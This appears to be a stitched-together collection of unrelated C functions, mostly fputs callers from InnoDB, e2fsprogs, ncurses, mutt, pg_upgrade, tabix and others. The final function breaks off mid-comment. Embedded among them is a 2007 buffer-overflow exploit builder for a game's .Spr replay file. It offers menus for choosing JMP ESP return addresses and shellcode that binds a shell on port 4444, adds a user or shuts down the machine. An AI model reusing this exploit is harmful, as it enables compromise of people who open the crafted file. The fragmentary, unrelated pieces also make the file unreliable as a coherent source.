/***********************************************************//** Delete unmarks a secondary index entry which must be found. It might not be delete-marked at the moment, but it does not harm to unmark it anyway. We also need to update the fields of the secondary index record if we updated its fields but alphabetically they stayed the same, e.g., 'abc' -> 'aBc'. @return DB_FAIL or DB_SUCCESS or DB_OUT_OF_FILE_SPACE */ static ulint row_undo_mod_del_unmark_sec_and_undo_update( /*========================================*/ ulint mode, /*!< in: search mode: BTR_MODIFY_LEAF or BTR_MODIFY_TREE */ que_thr_t* thr, /*!< in: query thread */ dict_index_t* index, /*!< in: index */ const dtuple_t* entry) /*!< in: index entry */ { mem_heap_t* heap; btr_pcur_t pcur; upd_t* update; ulint err = DB_SUCCESS; big_rec_t* dummy_big_rec; mtr_t mtr; trx_t* trx = thr_get_trx(thr); /* Ignore indexes that are being created. */ if (UNIV_UNLIKELY(*index->name == TEMP_INDEX_PREFIX)) { return(DB_SUCCESS); } log_free_check(); mtr_start(&mtr); if (UNIV_UNLIKELY(!row_search_index_entry(index, entry, mode, &pcur, &mtr))) { fputs("InnoDB: error in sec index entry del undo in\n" "InnoDB: ", stderr); dict_index_name_print(stderr, trx, index); fputs("\n" "InnoDB: tuple ", stderr); dtuple_print(stderr, entry); fputs("\n" "InnoDB: record ", stderr); rec_print(stderr, btr_pcur_get_rec(&pcur), index); putc('\n', stderr); trx_print(stderr, trx, 0); fputs("\n" "InnoDB: Submit a detailed bug report" " to http://bugs.mysql.com\n", stderr); } else { btr_cur_t* btr_cur = btr_pcur_get_btr_cur(&pcur); err = btr_cur_del_mark_set_sec_rec(BTR_NO_LOCKING_FLAG, btr_cur, FALSE, thr, &mtr); ut_a(err == DB_SUCCESS); heap = mem_heap_create(100); update = row_upd_build_sec_rec_difference_binary( index, entry, btr_cur_get_rec(btr_cur), trx, heap); if (upd_get_n_fields(update) == 0) { /* Do nothing */ } else if (mode == BTR_MODIFY_LEAF) { /* Try an optimistic updating of the record, keeping changes within the page */ err = btr_cur_optimistic_update( BTR_KEEP_SYS_FLAG | BTR_NO_LOCKING_FLAG, btr_cur, update, 0, thr, &mtr); switch (err) { case DB_OVERFLOW: case DB_UNDERFLOW: case DB_ZIP_OVERFLOW: err = DB_FAIL; } } else { ut_a(mode == BTR_MODIFY_TREE); err = btr_cur_pessimistic_update( BTR_KEEP_SYS_FLAG | BTR_NO_LOCKING_FLAG, btr_cur, &heap, &dummy_big_rec, update, 0, thr, &mtr); ut_a(!dummy_big_rec); } mem_heap_free(heap); } btr_pcur_close(&pcur); mtr_commit(&mtr); return(err); }
int main(int argc, char **argv) { int i; int filecount = 0; char* filename = NULL; { int c, option_index = 0; static struct option long_options[] = { {"help", 0, 0, 0}, {"output", 2, 0, 0}, {"size", 1, 0, 0}, {NULL, 0, NULL, 0} }; char* endptr = NULL; bool opt_fail = false; bool help = false; while ((c = getopt_long(argc, argv, "ho::s:", long_options, &option_index)) != -1) { switch (c) { case 0: switch(option_index) { case 0: // help goto help; case 1: // output goto output; case 2: // size goto size; default: goto unknown; } break; help: case 'h': // help help = true; break; output: case 'o': // output filecount = 1; // avoid leakiness if the user provided multiple --output // free(NULL) is a no-op, so this should be safe: free(filename); filename = NULL; if(optarg != NULL) { int tmp = strtol(optarg, &endptr, 10); if (endptr == optarg || (endptr != NULL && *endptr != '\0')) { int len = strlen(optarg); filename = malloc(len + 1); strcpy(filename, optarg); filename[len] = '\0'; } else { filecount = tmp; } } break; size: case 's': i = 0; while(optarg[i] != '*' && optarg[i] != '\0') i++; if(optarg[i] == '\0') { goto size_fail; } optarg[i] = '\0'; width = strtol(optarg, &endptr, 10); if (endptr == optarg || (endptr != NULL && *endptr != '\0')) { goto size_fail; } height = strtol(optarg + i + 1, &endptr, 10); if (endptr == optarg || (endptr != NULL && *endptr != '\0')) { goto size_fail; } printf("width: %d, height: %d\n", width, height); break; size_fail: fprintf(stderr, "Invalid size string '%s'\n", optarg); print_help(1); break; unknown: case '?': opt_fail = true; break; default: fprintf(stderr, "?? getopt returned character code 0%o ??\n", c); } } if(opt_fail) { print_help(1); } if(optind < argc) { fprintf(stderr, "%s: unrecognized option '%s'\n", argv[0], argv[optind]); print_help(1); } if(help) { print_help(0); } } scale = max(width, height); srand(get_time_us()); GLFWwindow* window; glfwSetErrorCallback(error_callback); // Initialize the library if (!glfwInit()) return -1; glfwWindowHint(GLFW_SAMPLES, 4); glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3); glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3); glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE); // Create a windowed mode window and its OpenGL context if(filecount) { glfwWindowHint(GLFW_VISIBLE, false); window = glfwCreateWindow(1, 1, "SpaceScape", NULL, NULL); } else { window = glfwCreateWindow(width, height, "SpaceScape", NULL, NULL); } if (!window) { glfwTerminate(); return -1; } // Make the window's context current glfwMakeContextCurrent(window); glfwSetKeyCallback(window, key_callback); // Init GLEW glewExperimental = true; GLenum err = glewInit(); if (GLEW_OK != err) { fprintf(stderr, "Error: %s\n", glewGetErrorString(err)); } fprintf(stderr, "Using GLEW %s\n", glewGetString(GLEW_VERSION)); if (!GLEW_ARB_vertex_buffer_object) { fputs("VBO not supported\n", stderr); exit(1); } render_init(); if(filename) { render_to_png(filename); } else if(filecount) { for(i = 0; i < filecount; i++) { render_to_png(NULL); } } else { // Render to our framebuffer render_to_screen(); while (!glfwWindowShouldClose(window)) { // Clear the screen glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); // 1rst attribute buffer : vertices glEnableVertexAttribArray(0); glBindBuffer(GL_ARRAY_BUFFER, quad_vertexbuffer); glVertexAttribPointer( 0, // attribute 0. No particular reason for 0, but must match the layout in the shader. 3, // size GL_FLOAT, // type GL_FALSE, // normalized? 0, // stride (void*) 0 // array buffer offset ); // Draw the triangles ! glDrawArrays(GL_TRIANGLES, 0, 6); // 2*3 indices starting at 0 -> 2 triangles glDisableVertexAttribArray(0); // Swap buffers glfwSwapBuffers(window); glfwPollEvents(); } } render_cleanup(); // Close OpenGL window and terminate GLFW glfwTerminate(); return 0; }
/* * return 1 if the device looks plausible, creating the file if necessary */ int check_plausibility(const char *device, int flags, int *ret_is_dev) { int fd, ret, is_dev = 0; ext2fs_struct_stat s; int fl = O_RDONLY; blkid_cache cache = NULL; char *fs_type = NULL; char *fs_label = NULL; fd = ext2fs_open_file(device, fl, 0666); if ((fd < 0) && (errno == ENOENT) && (flags & NO_SIZE)) { fprintf(stderr, _("The file %s does not exist and no " "size was specified.\n"), device); exit(1); } if ((fd < 0) && (errno == ENOENT) && (flags & CREATE_FILE)) { fl |= O_CREAT; fd = ext2fs_open_file(device, fl, 0666); if (fd >= 0 && (flags & VERBOSE_CREATE)) printf(_("Creating regular file %s\n"), device); } if (fd < 0) { fprintf(stderr, _("Could not open %s: %s\n"), device, error_message(errno)); if (errno == ENOENT) fputs(_("\nThe device apparently does not exist; " "did you specify it correctly?\n"), stderr); exit(1); } if (ext2fs_fstat(fd, &s) < 0) { perror("stat"); exit(1); } close(fd); if (S_ISBLK(s.st_mode)) is_dev = 1; #if defined(__FreeBSD__) || defined(__FreeBSD_kernel__) /* On FreeBSD, all disk devices are character specials */ if (S_ISCHR(s.st_mode)) is_dev = 1; #endif if (ret_is_dev) *ret_is_dev = is_dev; if ((flags & CHECK_BLOCK_DEV) && !is_dev) { printf(_("%s is not a block special device.\n"), device); return 0; } /* * Note: we use the older-style blkid API's here because we * want as much functionality to be available when using the * internal blkid library, when e2fsprogs is compiled for * non-Linux systems that will probably not have the libraries * from util-linux available. We only use the newer * blkid-probe interfaces to access functionality not * available in the original blkid library. */ if ((flags & CHECK_FS_EXIST) && blkid_get_cache(&cache, NULL) >= 0) { fs_type = blkid_get_tag_value(cache, "TYPE", device); if (fs_type) fs_label = blkid_get_tag_value(cache, "LABEL", device); blkid_put_cache(cache); } if (fs_type) { if (fs_label) printf(_("%s contains a %s file system " "labelled '%s'\n"), device, fs_type, fs_label); else printf(_("%s contains a %s file system\n"), device, fs_type); if (strncmp(fs_type, "ext", 3) == 0) print_ext2_info(device); free(fs_type); free(fs_label); return 0; } ret = check_partition_table(device); if (ret >= 0) return ret; #ifdef HAVE_LINUX_MAJOR_H #ifndef MAJOR #define MAJOR(dev) ((dev)>>8) #define MINOR(dev) ((dev) & 0xff) #endif #ifndef SCSI_BLK_MAJOR #ifdef SCSI_DISK0_MAJOR #ifdef SCSI_DISK8_MAJOR #define SCSI_DISK_MAJOR(M) ((M) == SCSI_DISK0_MAJOR || \ ((M) >= SCSI_DISK1_MAJOR && (M) <= SCSI_DISK7_MAJOR) || \ ((M) >= SCSI_DISK8_MAJOR && (M) <= SCSI_DISK15_MAJOR)) #else #define SCSI_DISK_MAJOR(M) ((M) == SCSI_DISK0_MAJOR || \ ((M) >= SCSI_DISK1_MAJOR && (M) <= SCSI_DISK7_MAJOR)) #endif /* defined(SCSI_DISK8_MAJOR) */ #define SCSI_BLK_MAJOR(M) (SCSI_DISK_MAJOR((M)) || (M) == SCSI_CDROM_MAJOR) #else #define SCSI_BLK_MAJOR(M) ((M) == SCSI_DISK_MAJOR || (M) == SCSI_CDROM_MAJOR) #endif /* defined(SCSI_DISK0_MAJOR) */ #endif /* defined(SCSI_BLK_MAJOR) */ if (((MAJOR(s.st_rdev) == HD_MAJOR && MINOR(s.st_rdev)%64 == 0) || (SCSI_BLK_MAJOR(MAJOR(s.st_rdev)) && MINOR(s.st_rdev)%16 == 0))) { printf(_("%s is entire device, not just one partition!\n"), device); return 0; } #endif return 1; }
int main(){ FILE *File; int i = 0; if((File=fopen(Spr_file,"wb")) == NULL){ printf("f**k We are Unable to build the file %s",Spr_file); exit(0); } system("cls"); printf("\n *************************************************"); printf("\n *Live for speed .Spr local file buffer overflow *"); printf("\n *************************************************"); printf("\n * Special thanks to Str0ke *"); printf("\n *************************************************"); printf("\n * Shout's ~ str0ke ~ c0ntex ~ marsu ~v9@fakehalo*"); printf("\n * Date : August 4 2007 *"); printf("\n *************************************************"); printf("\n * Creating .Spr replay File please wait !! *"); printf("\n *************************************************"); Sleep(4000); system("cls"); { for(i=0;i<sizeof(file_header1)-1;i++) fputc(file_header1[i],File); for (int i=0;i<89;i++) fputs("A", File); } int input; printf( "[1]. English Jmp_esp win xp sp2 \n" ); printf( "[2]. French Call_esp win xp sp2 \n" ); printf( "[3]. German Jmp_esp win xp sp2 \n" ); printf( "[4]. To exit and cancel\n" ); printf( "Pick your jmp esp: " ); scanf( "%d", &input ); switch ( input ) { case 1: fputs(JMP_ESP_English,File); break; case 2: fputs(CALL_ESP_French,File); break; case 3: fputs(JMP_ESP_German,File); break; case 4: exit(0); break; Sleep(500); } system("cls"); printf( "[1].Bind to port shell code port 4444\n"); printf( "[2].Execute calc.exe shell code\n"); printf( "[3].Add user shell code PASS=w00t USER=w00t\n"); printf( "[4].Shut down user's computer\n"); printf( "[5].To exit and cancel\n" ); printf( "Pick your shell code: " ); scanf( "%d", &input ); switch ( input ) { case 1: for(i=0;i<sizeof(shellcode)-1;i++) fputc(shellcode[i],File); break; case 2: for(i=0;i<sizeof(calc_shellcode)-1;i++) fputc(calc_shellcode[i],File); break; case 3: for(i=0;i<sizeof(adduser_shellcode)-1;i++) fputc(adduser_shellcode[i],File); break; case 4: for(i=0;i<sizeof(Log_off_shellcode)-1;i++) fputc(Log_off_shellcode[i],File); break; case 5: exit(0); break; } Sleep(500); for (int i=0;i<300;i++) fputs("B", File); for(i=0;i<sizeof(file_header2)-1;i++) fputc(file_header2[i],File); { fclose(File); system("cls"); printf("%s successfully created..\n",Spr_file); printf("%s \n",Credits_to); Sleep(3000); return 0; } }
static int unpack_image(const char *infn, const char *outdn) { int num_files, pid, vid, hardware_id, firmware_id; FILE *ifp, *lfp = NULL, *ofp, *cfp; struct imagewty_header *header; void *image, *curr; long imagesize; int i; ifp = fopen(infn, "rb"); if (ifp == NULL) { fprintf(stderr, "Error: unable to open %s!\n", infn); return 2; } fseek(ifp, 0, SEEK_END); imagesize = ftell(ifp); fseek(ifp, 0, SEEK_SET); if (imagesize <= 0) { fprintf(stderr, "Error: Invalid file size %ld (%s)\n", imagesize, strerror(errno)); return 3; } image = malloc(imagesize); if (!image) { fprintf(stderr, "Error: Unable to allocate memory for image: %ld\n", imagesize); return 4; } fread(image, imagesize, 1, ifp); fclose(ifp); /* Check for encryption; see bug #2 (A31 unencrypted images) */ header = (struct imagewty_header*)image; if (memcmp(header->magic, IMAGEWTY_MAGIC, IMAGEWTY_MAGIC_LEN) == 0) flag_encryption_enabled = 0; /* Decrypt header (padded to 1024 bytes) */ curr = rc6_decrypt_inplace(image, 1024, &header_ctx); /* Check version of header and setup our local state */ if (header->header_version == 0x0300) { num_files = header->v3.num_files; hardware_id = header->v3.hardware_id; firmware_id = header->v3.firmware_id; pid = header->v3.pid; vid = header->v3.vid; } else /*if (header->header_version == 0x0100)*/ { num_files = header->v1.num_files; hardware_id = header->v1.hardware_id; firmware_id = header->v1.firmware_id; pid = header->v1.pid; vid = header->v1.vid; } /* Decrypt file headers */ curr = rc6_decrypt_inplace(curr, num_files * 1024, &fileheaders_ctx); /* Decrypt file contents */ for (i=0; i < num_files; i++) { struct imagewty_file_header *filehdr; uint64_t stored_length; const char *filename; void *next; filehdr = (struct imagewty_file_header*)(image + 1024 + (i * 1024)); if (header->header_version == 0x0300) { stored_length = filehdr->v3.stored_length; filename = filehdr->v3.filename; } else { stored_length = filehdr->v1.stored_length; filename = filehdr->v1.filename; } next = rc6_decrypt_inplace(curr, stored_length, &filecontent_ctx); if (TF_DECRYPT_WORKING && !(strlen(filename) >= 4 && strncmp(filename + strlen(filename) -4, ".fex", 4) == 0)) { /* Not a 'FEX' file, so we need to decrypt it even more! */ tf_decrypt_inplace(curr, stored_length); } curr = next; } if (flag_compat_output == OUTPUT_UNIMG) { lfp = dir_fopen(outdn, "base.hdr", "wb"); if (lfp) { uint32_t *hdr = image + IMAGEWTY_MAGIC_LEN; fprintf(lfp, "%.8s\r\n", header->magic); for (i = 0; i < (sizeof(*header) - IMAGEWTY_MAGIC_LEN) / sizeof(uint32_t); i++) fprintf(lfp, "%08X\r\n", hdr[i]); fclose(lfp); } lfp = dir_fopen(outdn, "Filelist.txt", "wb"); } cfp = dir_fopen(outdn, "image.cfg", "wb"); if (cfp != NULL) { char timestr[256]; struct tm *tm; time_t t; time(&t); tm = localtime(&t); strcpy(timestr, asctime(tm)); /* strip newline */ timestr[strlen(timestr) -1] = '\0'; fputs(";/**************************************************************************/\r\n", cfp); fprintf(cfp, "; %s\r\n", timestr); fprintf(cfp, "; generated by %s\r\n", progname); fprintf(cfp, "; %s\r\n", infn); fputs(";/**************************************************************************/\r\n", cfp); fputs("[DIR_DEF]\r\n", cfp); #ifdef WIN32 fputs("INPUT_DIR = \".\\\\\"\r\n\r\n", cfp); #else fputs("INPUT_DIR = \"./\"\r\n\r\n", cfp); #endif fputs("[FILELIST]\r\n", cfp); } for (i=0; i < num_files; i++) { uint32_t stored_length, original_length; struct imagewty_file_header *filehdr; char hdrfname[32], contfname[32]; const char *filename; uint32_t offset; filehdr = (struct imagewty_file_header*)(image + 1024 + (i * 1024)); if (header->header_version == 0x0300) { stored_length = filehdr->v3.stored_length; original_length = filehdr->v3.original_length; filename = filehdr->v3.filename; offset = filehdr->v3.offset; } else { stored_length = filehdr->v1.stored_length; original_length = filehdr->v1.original_length; filename = filehdr->v1.filename; offset = filehdr->v1.offset; } if (flag_compat_output == OUTPUT_UNIMG) { printf("Extracting: %.8s %.16s (%u, %u)\n", filehdr->maintype, filehdr->subtype, original_length, stored_length); sprintf(hdrfname, "%.8s_%.16s.hdr", filehdr->maintype, filehdr->subtype); ofp = dir_fopen(outdn, hdrfname, "wb"); if (ofp) { fwrite(filehdr, filehdr->total_header_size, 1, ofp); fclose(ofp); } sprintf(contfname, "%.8s_%.16s", filehdr->maintype, filehdr->subtype); ofp = dir_fopen(outdn, contfname, "wb"); if (ofp) { fwrite(image + offset, original_length, 1, ofp); fclose(ofp); } fprintf(lfp, "%s\t%s\r\n", hdrfname, contfname); fprintf(cfp, "\t{filename = INPUT_DIR .. \"%s\", maintype = \"%.8s\", subtype = \"%.16s\",},\r\n", contfname, filehdr->maintype, filehdr->subtype); } else if (flag_compat_output == OUTPUT_IMGREPACKER) { printf("Extracting %s\n", filename); ofp = dir_fopen(outdn, filename, "wb"); if (ofp) { fwrite(image + offset, original_length, 1, ofp); fclose(ofp); } fprintf(cfp, "\t{filename = INPUT_DIR .. \"%s\", maintype = \"%.8s\", subtype = \"%.16s\",},\r\n", filename[0] == '/' ? filename+1 : filename, filehdr->maintype, filehdr->subtype); } } if (cfp != NULL) { /* Now print the relevant stuff for the image.cfg */ fputs("\r\n[IMAGE_CFG]\r\n", cfp); fprintf(cfp, "version = 0x%06x\r\n", header->version); fprintf(cfp, "pid = 0x%08x\r\n", pid); fprintf(cfp, "vid = 0x%08x\r\n", vid); fprintf(cfp, "hardwareid = 0x%03x\r\n", hardware_id); fprintf(cfp, "firmwareid = 0x%03x\r\n", firmware_id); fprintf(cfp, "imagename = \"%s\"\r\n", infn); fputs("filelist = FILELIST\r\n", cfp); fclose(cfp); } if (lfp) fclose(lfp); return 0; }
int XmlWriteFooter (FILE *file) { return fputs ("\n</TrueCrypt64>", file); }
static void analyze_string(const char *name, const char *cap, TERMTYPE *tp) { char buf2[MAX_TERMINFO_LENGTH]; const char *sp; const assoc *ap; int tp_lines = tp->Numbers[2]; if (cap == ABSENT_STRING || cap == CANCELLED_STRING) return; (void) printf("%s: ", name); for (sp = cap; *sp; sp++) { int i; int csi; size_t len = 0; size_t next; const char *expansion = 0; char buf3[MAX_TERMINFO_LENGTH]; /* first, check other capabilities in this entry */ for (i = 0; i < STRCOUNT; i++) { char *cp = tp->Strings[i]; /* don't use soft-key capabilities */ if (strnames[i][0] == 'k' && strnames[i][0] == 'f') continue; if (cp != ABSENT_STRING && cp != CANCELLED_STRING && cp[0] && cp != cap) { len = strlen(cp); (void) strncpy(buf2, sp, len); buf2[len] = '\0'; if (_nc_capcmp(cp, buf2)) continue; #define ISRS(s) (!strncmp((s), "is", 2) || !strncmp((s), "rs", 2)) /* * Theoretically we just passed the test for translation * (equality once the padding is stripped). However, there * are a few more hoops that need to be jumped so that * identical pairs of initialization and reset strings * don't just refer to each other. */ if (ISRS(name) || ISRS(strnames[i])) if (cap < cp) continue; #undef ISRS expansion = strnames[i]; break; } } /* now check the standard capabilities */ if (!expansion) { csi = skip_csi(sp); for (ap = std_caps; ap->from; ap++) { size_t adj = (size_t) (csi ? 2 : 0); len = strlen(ap->from); if (csi && skip_csi(ap->from) != csi) continue; if (len > adj && strncmp(ap->from + adj, sp + csi, len - adj) == 0) { expansion = ap->to; len -= adj; len += (size_t) csi; break; } } } /* now check for standard-mode sequences */ if (!expansion && (csi = skip_csi(sp)) != 0 && (len = strspn(sp + csi, "0123456789;")) && (len < sizeof(buf3)) && (next = (size_t) csi + len) && ((sp[next] == 'h') || (sp[next] == 'l'))) { (void) strcpy(buf2, (sp[next] == 'h') ? "ECMA+" : "ECMA-"); (void) strncpy(buf3, sp + csi, len); buf3[len] = '\0'; len += (size_t) csi + 1; expansion = lookup_params(std_modes, buf2, buf3); } /* now check for private-mode sequences */ if (!expansion && (csi = skip_csi(sp)) != 0 && sp[csi] == '?' && (len = strspn(sp + csi + 1, "0123456789;")) && (len < sizeof(buf3)) && (next = (size_t) csi + 1 + len) && ((sp[next] == 'h') || (sp[next] == 'l'))) { (void) strcpy(buf2, (sp[next] == 'h') ? "DEC+" : "DEC-"); (void) strncpy(buf3, sp + csi + 1, len); buf3[len] = '\0'; len += (size_t) csi + 2; expansion = lookup_params(private_modes, buf2, buf3); } /* now check for ECMA highlight sequences */ if (!expansion && (csi = skip_csi(sp)) != 0 && (len = strspn(sp + csi, "0123456789;")) != 0 && (len < sizeof(buf3)) && (next = (size_t) csi + len) && sp[next] == 'm') { (void) strcpy(buf2, "SGR:"); (void) strncpy(buf3, sp + csi, len); buf3[len] = '\0'; len += (size_t) csi + 1; expansion = lookup_params(ecma_highlights, buf2, buf3); } if (!expansion && (csi = skip_csi(sp)) != 0 && sp[csi] == 'm') { len = (size_t) csi + 1; (void) strcpy(buf2, "SGR:"); strcat(buf2, ecma_highlights[0].to); expansion = buf2; } /* now check for scroll region reset */ if (!expansion && (csi = skip_csi(sp)) != 0) { if (sp[csi] == 'r') { expansion = "RSR"; len = 1; } else { (void) sprintf(buf2, "1;%dr", tp_lines); len = strlen(buf2); if (strncmp(buf2, sp + csi, len) == 0) expansion = "RSR"; } len += (size_t) csi; } /* now check for home-down */ if (!expansion && (csi = skip_csi(sp)) != 0) { (void) sprintf(buf2, "%d;1H", tp_lines); len = strlen(buf2); if (strncmp(buf2, sp + csi, len) == 0) { expansion = "LL"; } else { (void) sprintf(buf2, "%dH", tp_lines); len = strlen(buf2); if (strncmp(buf2, sp + csi, len) == 0) { expansion = "LL"; } } len += (size_t) csi; } /* now look at the expansion we got, if any */ if (expansion) { printf("{%s}", expansion); sp += len - 1; } else { /* couldn't match anything */ buf2[0] = *sp; buf2[1] = '\0'; fputs(TIC_EXPAND(buf2), stdout); } } putchar('\n'); }
static void format_line (FILE *f, int ismacro, const char *t1, const char *t2, const char *t3) { int col; int col_a, col_b; int split; int n; fputs (t1, f); /* don't try to press string into one line with less than 40 characters. The double paranthesis avoid a gcc warning, sigh ... */ if ((split = COLS < 40)) { col_a = col = 0; col_b = LONG_STRING; fputc ('\n', f); } else { col_a = COLS > 83 ? (COLS - 32) >> 2 : 12; col_b = COLS > 49 ? (COLS - 10) >> 1 : 19; col = pad (f, mutt_strwidth(t1), col_a); } if (ismacro > 0) { if (!mutt_strcmp (Pager, "builtin")) fputs ("_\010", f); fputs ("M ", f); col += 2; if (!split) { col += print_macro (f, col_b - col - 4, &t2); if (mutt_strwidth (t2) > col_b - col) t2 = "..."; } } col += print_macro (f, col_b - col - 1, &t2); if (split) fputc ('\n', f); else col = pad (f, col, col_b); if (split) { print_macro (f, LONG_STRING, &t3); fputc ('\n', f); } else { while (*t3) { n = COLS - col; if (ismacro >= 0) { SKIPWS(t3); n = get_wrapped_width (t3, n); } n = print_macro (f, n, &t3); if (*t3) { if (mutt_strcmp (Pager, "builtin")) { fputc ('\n', f); n = 0; } else { n += col - COLS; if (option (OPTMARKERS)) ++n; } col = pad (f, n, col_b); } } } fputc ('\n', f); }
/* ** If your system does not support `stderr', redefine this function, or ** redefine _ERRORMESSAGE so that it won't need _ALERT. */ static int luaB__ALERT (lua_State *L) { fputs(luaL_check_string(L, 1), stderr); return 0; }
/* * split_old_dump * * This function splits pg_dumpall output into global values and * database creation, and per-db schemas. This allows us to create * the support functions between restoring these two parts of the * dump. We split on the first "\connect " after a CREATE ROLE * username match; this is where the per-db restore starts. * * We suppress recreation of our own username so we don't generate * an error during restore */ void split_old_dump(void) { FILE *all_dump, *globals_dump, *db_dump; FILE *current_output; char line[LINE_ALLOC]; bool start_of_line = true; char create_role_str[MAX_STRING]; char create_role_str_quote[MAX_STRING]; char filename[MAXPGPATH]; bool suppressed_username = false; /* * Open all files in binary mode to avoid line end translation on Windows, * both for input and output. */ snprintf(filename, sizeof(filename), "%s/%s", os_info.cwd, ALL_DUMP_FILE); if ((all_dump = fopen(filename, PG_BINARY_R)) == NULL) pg_log(PG_FATAL, "Cannot open dump file %s\n", filename); snprintf(filename, sizeof(filename), "%s/%s", os_info.cwd, GLOBALS_DUMP_FILE); if ((globals_dump = fopen(filename, PG_BINARY_W)) == NULL) pg_log(PG_FATAL, "Cannot write to dump file %s\n", filename); snprintf(filename, sizeof(filename), "%s/%s", os_info.cwd, DB_DUMP_FILE); if ((db_dump = fopen(filename, PG_BINARY_W)) == NULL) pg_log(PG_FATAL, "Cannot write to dump file %s\n", filename); current_output = globals_dump; /* patterns used to prevent our own username from being recreated */ snprintf(create_role_str, sizeof(create_role_str), "CREATE ROLE %s;", os_info.user); snprintf(create_role_str_quote, sizeof(create_role_str_quote), "CREATE ROLE %s;", quote_identifier(os_info.user)); while (fgets(line, sizeof(line), all_dump) != NULL) { /* switch to db_dump file output? */ if (current_output == globals_dump && start_of_line && suppressed_username && strncmp(line, "\\connect ", strlen("\\connect ")) == 0) current_output = db_dump; /* output unless we are recreating our own username */ if (current_output != globals_dump || !start_of_line || (strncmp(line, create_role_str, strlen(create_role_str)) != 0 && strncmp(line, create_role_str_quote, strlen(create_role_str_quote)) != 0)) fputs(line, current_output); else suppressed_username = true; if (strlen(line) > 0 && line[strlen(line) - 1] == '\n') start_of_line = true; else start_of_line = false; } fclose(all_dump); fclose(globals_dump); fclose(db_dump); }
void print_str(const char *s) {fputs(s, stdout);}
VOID putusage() { fputs(USAGE, stderr); }
void GLFW_test2::_error_callback(int error, const char* description) { fputs(description, stderr); }
int main(int argc, char *argv[]) { int c, skip = -1, meta = -1, list_chrms = 0, force = 0, print_header = 0, print_only_header = 0, bed_reg = 0; ti_conf_t conf = ti_conf_gff, *conf_ptr = NULL; const char *reheader = NULL; struct __stat64 stat_tbi,stat_vcf; char *fnidx; while ((c = getopt(argc, argv, "p:s:b:e:0S:c:lhHfBr:")) >= 0) { switch (c) { case 'B': bed_reg = 1; break; case '0': conf.preset |= TI_FLAG_UCSC; break; case 'S': skip = atoi(optarg); break; case 'c': meta = optarg[0]; break; case 'p': if (strcmp(optarg, "gff") == 0) conf_ptr = &ti_conf_gff; else if (strcmp(optarg, "bed") == 0) conf_ptr = &ti_conf_bed; else if (strcmp(optarg, "sam") == 0) conf_ptr = &ti_conf_sam; else if (strcmp(optarg, "vcf") == 0 || strcmp(optarg, "vcf4") == 0) conf_ptr = &ti_conf_vcf; else if (strcmp(optarg, "psltbl") == 0) conf_ptr = &ti_conf_psltbl; else { fprintf(stderr, "[main] unrecognized preset '%s'\n", optarg); return 1; } break; case 's': conf.sc = atoi(optarg); break; case 'b': conf.bc = atoi(optarg); break; case 'e': conf.ec = atoi(optarg); break; case 'l': list_chrms = 1; break; case 'h': print_header = 1; break; case 'H': print_only_header = 1; break; case 'f': force = 1; break; case 'r': reheader = optarg; break; } } if (optind == argc) { fprintf(stderr, "\n"); fprintf(stderr, "Program: tabix (TAB-delimited file InderXer)\n"); fprintf(stderr, "Version: %s\n\n", PACKAGE_VERSION); fprintf(stderr, "Usage: tabix <in.tab.bgz> [region1 [region2 [...]]]\n\n"); fprintf(stderr, "Options: -p STR preset: gff, bed, sam, vcf, psltbl [gff]\n"); fprintf(stderr, " -s INT sequence name column [1]\n"); fprintf(stderr, " -b INT start column [4]\n"); fprintf(stderr, " -e INT end column; can be identical to '-b' [5]\n"); fprintf(stderr, " -S INT skip first INT lines [0]\n"); fprintf(stderr, " -c CHAR symbol for comment/meta lines [#]\n"); fprintf(stderr, " -r FILE replace the header with the content of FILE [null]\n"); fprintf(stderr, " -B region1 is a BED file (entire file will be read)\n"); fprintf(stderr, " -0 zero-based coordinate\n"); fprintf(stderr, " -h print also the header lines\n"); fprintf(stderr, " -H print only the header lines\n"); fprintf(stderr, " -l list chromosome names\n"); fprintf(stderr, " -f force to overwrite the index\n"); fprintf(stderr, "\n"); return 1; } if ( !conf_ptr ) { int l = strlen(argv[optind]); //int strcasecmp(const char *s1, const char *s2); if (l>=7 && strcasecmp(argv[optind]+l-7, ".gff.gz") == 0) conf_ptr = &ti_conf_gff; else if (l>=7 && strcasecmp(argv[optind]+l-7, ".bed.gz") == 0) conf_ptr = &ti_conf_bed; else if (l>=7 && strcasecmp(argv[optind]+l-7, ".sam.gz") == 0) conf_ptr = &ti_conf_sam; else if (l>=7 && strcasecmp(argv[optind]+l-7, ".vcf.gz") == 0) conf_ptr = &ti_conf_vcf; else if (l>=10 && strcasecmp(argv[optind]+l-10, ".psltbl.gz") == 0) conf_ptr = &ti_conf_psltbl; } if ( conf_ptr ) conf = *conf_ptr; if (skip >= 0) conf.line_skip = skip; if (meta >= 0) conf.meta_char = meta; if (list_chrms) { ti_index_t *idx; int i, n; const char **names; idx = ti_index_load(argv[optind]); if (idx == 0) { fprintf(stderr, "[main] fail to load the index file.\n"); return 1; } names = ti_seqname(idx, &n); for (i = 0; i < n; ++i) printf("%s\n", names[i]); free(names); ti_index_destroy(idx); return 0; } if (reheader) return reheader_file(reheader,argv[optind],conf.meta_char); fnidx = calloc(strlen(argv[optind]) + 5, 1); strcat(strcpy(fnidx, argv[optind]), ".tbi"); if (optind + 1 == argc && !print_only_header) { if (force == 0) { if (_stat64(fnidx, &stat_tbi) == 0) { // Before complaining, check if the VCF file isn't newer. This is a common source of errors, // people tend not to notice that tabix failed _stat64(argv[optind], &stat_vcf); if ( stat_vcf.st_mtime <= stat_tbi.st_mtime ) { fprintf(stderr, "[tabix] the index file exists. Please use '-f' to overwrite.\n"); free(fnidx); return 1; } } } if ( bgzf_is_bgzf(argv[optind])!=1 ) { fprintf(stderr,"[tabix] was bgzip used to compress this file? %s\n", argv[optind]); free(fnidx); return 1; } if ( !conf_ptr ) { // Building the index but the file type was neither recognised nor given. If no custom change // has been made, warn the user that GFF is used if ( conf.preset==ti_conf_gff.preset && conf.sc==ti_conf_gff.sc && conf.bc==ti_conf_gff.bc && conf.ec==ti_conf_gff.ec && conf.meta_char==ti_conf_gff.meta_char && conf.line_skip==ti_conf_gff.line_skip ) fprintf(stderr,"[tabix] The file type not recognised and -p not given, using the preset [gff].\n"); } return ti_index_build(argv[optind], &conf); } { // retrieve tabix_t *t; // On some systems, stat on non-existent files returns undefined value for sm_mtime, the user had to use -f int is_remote = (strstr(fnidx, "ftp://") == fnidx || strstr(fnidx, "http://") == fnidx) ? 1 : 0; if ( !is_remote ) { // Common 